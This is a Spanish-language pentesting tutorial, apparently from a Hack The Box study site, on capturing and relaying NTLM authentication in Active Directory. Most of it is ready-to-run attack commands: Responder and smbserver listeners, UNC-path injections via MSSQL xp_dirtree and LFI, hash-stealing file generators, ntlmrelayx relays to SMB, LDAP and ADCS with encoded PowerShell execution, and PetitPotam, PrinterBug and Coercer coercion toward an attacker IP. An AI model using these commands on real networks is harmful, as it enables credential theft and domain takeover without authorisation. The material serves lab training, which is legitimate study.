Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam

Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.

· 5 min de lectura

Windows se autentica solo, sin preguntar, contra casi cualquier recurso de red: una ruta UNC (\\10.10.14.5\x), un acceso directo, una consulta a un nombre que no existe. Si eres tú quien recibe esa autenticación, tienes dos opciones: capturar el hash NetNTLMv2 para crackearlo o retransmitirlo (relay) a otro servicio y actuar como esa cuenta. Es la técnica de captura y relay NTLM, una de las más frecuentes del catálogo en máquinas de AD.

1. Capturar con Responder

En una red interna, Responder contesta a las peticiones de nombres que nadie resuelve (LLMNR, NBT-NS, mDNS) y ofrece servidores SMB y HTTP falsos:

sudo responder -I tun0

En HTB casi nunca hay tráfico de difusión hacia ti; lo que funciona es provocar la autenticación desde la máquina:

# En una LFI, SSRF o subida que acepte rutas UNC
\\10.10.14.5\x

# En MSSQL (guía de ataques a MSSQL)
EXEC master..xp_dirtree '\\10.10.14.5\x';

# Una web que hace include/file_get_contents de una ruta que controlas
http://objetivo.htb/?page=//10.10.14.5/x

Lo de MSSQL lo tienes completo en la guía de ataques a MSSQL. El hash que aparece en Responder (usuario::DOMINIO:1122...:...) se crackea con hashcat -m 5600 (guía de cracking de hashes). No sirve para pass-the-hash: es una respuesta a un desafío, no el hash NT.

Truco

Si no tienes privilegios para abrir el puerto 445 en tu equipo o quieres algo más ligero que Responder, impacket-smbserver -smb2support x . también registra los hashes que le llegan.

Ficheros que roban hashes

Si tienes escritura en un recurso compartido que otros usuarios abren, deja un fichero que apunte a tu IP. El Explorador de Windows lo procesa solo con ver la carpeta:

nxc smb 10.10.10.10 -u usuario -p 'Contraseña1' -M slinky -o SERVER=10.10.14.5 NAME=informe
nxc smb 10.10.10.10 -u usuario -p 'Contraseña1' -M scuffy -o SERVER=10.10.14.5 NAME=informe
# ntlm_theft genera muchos formatos (.url, .lnk, .scf, .library-ms, .docx...)
python3 ntlm_theft.py -g all -s 10.10.14.5 -f informe

2. ¿Se puede retransmitir?

Retransmitir es mejor que crackear (no depende de la contraseña), pero tiene reglas:

Destino Requisito Qué consigues
SMB El destino no exige firma (signing:False) Ejecutar comandos si la cuenta es admin, o volcar el SAM
LDAP Sin firma LDAP exigida; el origen no puede ser SMB (salvo trucos) Crear equipos, RBCD, Shadow Credentials, darte DCSync
LDAPS Sin channel binding exigido Lo mismo que LDAP, más cambiar contraseñas
HTTP de ADCS (/certsrv) Inscripción web por HTTP Un certificado de la cuenta (ESC8, guía de ADCS)
MSSQL Autenticación de Windows Ejecutar consultas como esa cuenta

Nunca se puede retransmitir una autenticación a la misma máquina de la que viene por SMB (protección contra reflection).

# Qué equipos no exigen firma SMB
nxc smb 10.10.10.0/24 --gen-relay-list objetivos.txt
# Y el estado de LDAP
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M ldap-checker

3. ntlmrelayx

Desactiva SMB y HTTP en Responder (Responder.conf) para que no compitan por los puertos, y lanza ntlmrelayx:

# A SMB: vuelca el SAM o ejecuta un comando
impacket-ntlmrelayx -tf objetivos.txt -smb2support
impacket-ntlmrelayx -tf objetivos.txt -smb2support -c 'powershell -enc ...'
impacket-ntlmrelayx -tf objetivos.txt -smb2support -i         # te da una shell SMB en 127.0.0.1:11000

# A LDAP(S): crea un equipo y configura RBCD sobre la máquina que se autentica
impacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access -smb2support
# Shadow Credentials sobre la cuenta que llega
impacket-ntlmrelayx -t ldap://dc01.corp.local --shadow-credentials --shadow-target 'WEB01$'

# A ADCS (ESC8)
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController -smb2support

4. Coerción: obligar a una máquina a autenticarse

Hay funciones RPC de Windows que hacen que un equipo se conecte a la ruta que le digas, autenticándose como la cuenta del equipo (DC01$). Con cualquier usuario del dominio (y a veces sin él), puedes llamarlas:

# PetitPotam (MS-EFSR)
python3 PetitPotam.py -u usuario -p 'Contraseña1' -d corp.local 10.10.14.5 dc01.corp.local

# PrinterBug (MS-RPRN, necesita el servicio Spooler)
python3 printerbug.py corp.local/usuario:'Contraseña1'@dc01.corp.local 10.10.14.5

# Coercer prueba todos los métodos conocidos
coercer coerce -u usuario -p 'Contraseña1' -d corp.local -l 10.10.14.5 -t dc01.corp.local

# NetExec: comprobar y lanzar
nxc smb dc01.corp.local -u usuario -p 'Contraseña1' -M coerce_plus -o LISTENER=10.10.14.5

Coerción + relay hacia ADCS (ESC8) o hacia LDAP de otro DC es una de las cadenas más directas a Domain Admin. Coerción hacia un equipo con delegación sin restricciones es la otra.

Errores típicos

  • Responder dice que el puerto 445 está ocupado: tienes impacket-smbserver u otro Responder abiertos. sudo ss -tlnp | grep 445.
  • Llega la autenticación pero el relay a SMB falla con STATUS_ACCESS_DENIED: la cuenta no es administradora en el destino. Retransmítela a LDAP o a otro equipo.
  • El relay a LDAP dice que la firma es obligatoria: el origen era SMB. Fuerza la autenticación por HTTP (WebDAV, con @80/x en la ruta) o usa LDAPS si no hay channel binding.
  • La coerción no hace nada: el método está parcheado. Prueba otro con Coercer; el Spooler suele estar desactivado en los DC modernos.

Querier (xp_dirtree desde MSSQL y crackear el hash), Driver (un .scf en una subida de ficheros), Sizzle (un fichero en un recurso con escritura), Mailing (un enlace en un correo que abre Outlook) y Escape (MSSQL y luego ADCS).

Y después

Con un hash crackeado, vuelve a la enumeración de AD con el usuario nuevo. Con un relay que te dé acceso a una máquina, vuelca sus credenciales (volcado de credenciales). La chuleta de Active Directory tiene todas las variantes de ntlmrelayx.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Captura y relay NTLM 28 máquinas

Ver las 28 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo